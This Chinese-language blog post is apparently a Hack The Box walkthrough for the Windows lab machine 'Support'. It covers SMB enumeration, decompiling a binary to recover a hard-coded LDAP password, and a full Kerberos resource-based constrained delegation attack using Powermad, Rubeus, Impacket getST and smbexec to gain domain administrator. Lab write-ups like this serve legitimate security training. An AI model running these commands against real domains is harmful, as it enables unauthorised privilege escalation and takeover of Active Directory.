HTB 学习笔记
【Hack The Box】windows练习-- support
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月17日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
文章目录
- HTB 学习笔记
- 信息收集
- 我看smb
- 登陆
- 基于 Kerberos 资源的约束委派
信息收集
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
dns,ker,rpc,smb,winrm
DC 域名“support.htb”
我看smb
发现了很多的工具,都是通用的,也就是正常的,只有一个UserInfo.exe.zip
没有这么个软件,所以我将对他进行分析
下载所有文件到我本地查看
SMB:> mask ""
SMB:> recurse ON
SMB:> prompt OFF
SMB:> mget *
https://github.com/dnSpy/dnSpy/releases/tag/v6.1.8
去到自己的windows主机
发现了ldap的配置
然后只直接全部复制到随便哪里,搜索一些敏感字即可发现password
namespace UserInfo.Services
{
// Token: 0x02000006 RID: 6
internal class Protected
{
// Token: 0x0600000F RID: 15 RVA: 0x00002118 File Offset: 0x00000318
public static string getPassword()
{
byte[] array = Convert.FromBase64String(Protected.enc_password);
byte[] array2 = array;
for (int i = 0; i < array.Length; i++)
{
array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
}
return Encoding.Default.GetString(array2);
}
// Token: 0x04000005 RID: 5
private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
// Token: 0x04000006 RID: 6
private static byte[] key = Encoding.ASCII.GetBytes("armando");
}
但是密码有加密,我们翻到最下面发现了
1. 加密规则
array2[i] = (array[i] ^ Protected.key[i % Protected.key.Length] ^ 223);
2. 加密密钥
private static byte[] key = Encoding.ASCII.GetBytes("armando");
3. 初始的密码
"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
import base64
enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = "armando".encode("UTF-8")
array = base64.b64decode(enc_password)
array2 = ""
for i in range(len(array)):
array2 += chr(array[i] ^ key[i % len(key)] ^ 223)
print(array2)
得到了密码,虽然我感觉不太对,这也太不正常了
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
那么现在我拥有了ldap的凭证
我需要找到一个用户
ldapsearch -D support\\ldap -H ldap://10.129.14.124 -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b 'CN=Users,DC=support,DC=htb' | grep info:
登陆
winrm登陆
上传SharpHound.exe
./sh.exe --memcache -c all -d SUPPORT.HTB -DomainController 127.0.0.1
基于 Kerberos 资源的约束委派
服务器端
将新的假计算机对象添加到 AD。
使用约束委派权限设置新的假计算机对象。
为新的假计算机生成密码哈希。
全攻击步骤如下
1. 上传文件
upload /home/user/Tools/Powermad/Powermad.ps1 pm.ps1
upload /home/user/Tools/Ghostpack-CompiledBinaries/Rubeus.exe r.exe
Import-Module ./pm.ps1
2.设置参数
Set-Variable -Name "FakePC" -Value "FAKE01"
Set-Variable -Name "targetComputer" -Value "DC"
3.添加一个新用户
New-MachineAccount -MachineAccount (Get-Variable -Name "FakePC").Value -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
4.给权限
Set-ADComputer (Get-Variable -Name "targetComputer").Value -PrincipalsAllowedToDelegateToAccount ((Get-Variable -Name "FakePC").Value + '$')
5.检查是否工作
Get-ADComputer (Get-Variable -Name "targetComputer").Value -Properties PrincipalsAllowedToDelegateToAccount
6. 生成hash,aes256
./r.exe hash /password:123456 /user:FAKE01$ /domain:support.htb
7. 以下kali执行-本机获取TGT票据
getST.py support.htb/FAKE01 -dc-ip dc.support.htb -impersonate administrator -spn http/dc.support.htb -aesKey 35CE465C01BC1577DE3410452165E5244779C17B64E6D89459C1EC3C8DAA362B
8.添加票据
export KRB5CCNAME=administrator.ccache
9.smbexec.py support.htb/administrator@dc.support.htb -no-pass -k
让我们为“fake01”计算机主体创建一个新的原始安全描述符。 请记住将 SID 更改为您刚刚找到的值以及 DomainComputer 的主机名。
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1677581083-3380853377-188903654-1000)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
记得将 support.htb 和 dc.support.htb 添加到 /etc/hosts 文件中
#使用Impacket中的getTGT,生成ccached TGT,并使用KERB5CCNAME为请求的服务传递ccache文件。
impacket-getST support.htb/fake01:123456 -dc-ip 10.129.14.217 -impersonate administrator -spn www/dc.support.htb
#设置KERB5CCNAME的局部变量以传递请求服务的ccache TGT文件。
export KRB5CCNAME=administrator.ccache
#使用smbexec。py连接到我们刚刚作为用户管理员对服务器进行的TGT
smbexec.py support.htb/administrator@dc.support.htb -no-pass -k